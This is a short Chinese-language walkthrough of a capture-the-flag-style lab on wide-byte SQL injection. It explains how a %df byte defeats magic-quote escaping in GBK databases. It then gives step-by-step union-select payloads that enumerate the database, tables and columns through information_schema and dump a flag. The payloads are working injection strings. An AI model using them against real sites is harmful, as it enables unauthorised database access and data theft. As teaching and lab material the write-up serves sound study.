有趣的宽字节注入
# 宽字节注入的原理:因为一些网站数据库是GBK编码,引入了魔术引号开关,当有特殊符号时会增加转义字符“\”,宽字节注入就是用%df吃掉"\",%df和"\"可以在GBK编码中组成一个’運’字,所以就避免了被转义。
听这就很有趣,来让我们实际操作一下
1.利用and1=1 显示正常, and 1=2 显示错误页面。证明有注入点
这里用了魔术引号,所以and 1=2,并没有报错
,我们不知道内部的情况,试一下怎么加%df
语句是:%df’and 1=2 %23
报错了,证明存在宽字节注入
2。order by 语句查询有几个字段
order by 3 显示正确,判断为3个字段
3.使用union 联合查询 显错点,输出点
语句:
%df’and 1=2 union select 1,2,3 %23
显错点为2,3
4.查询当前库名
语句:
%df’and 1=2 union select 1,database(),3 %23
当前库名为security
5。查表名,利用当前库名查系统表
语句:
%df’and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23
这里利用到了一个16进制转换,意思是字符串转换成数据库认识的16进制,
否则也会被魔术引号转义。这里试将库名转换成16进制,前面再加上0x
6。查字段名,利用表名查系统表,查该表下有哪些字段
语句:
%df’and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7a6b6171 #
7.查表内的信息
语句:
%df’and 1=2 union select 1,group_concat(flag),group_concat(zKaQ) from zkaq %23
我们想要的表内的所有信息如图全部展示
我们也得到了我们需要的信息:flag为:zKaQ-W1dech4rSQL,
顺利完成本次有趣的宽字节注入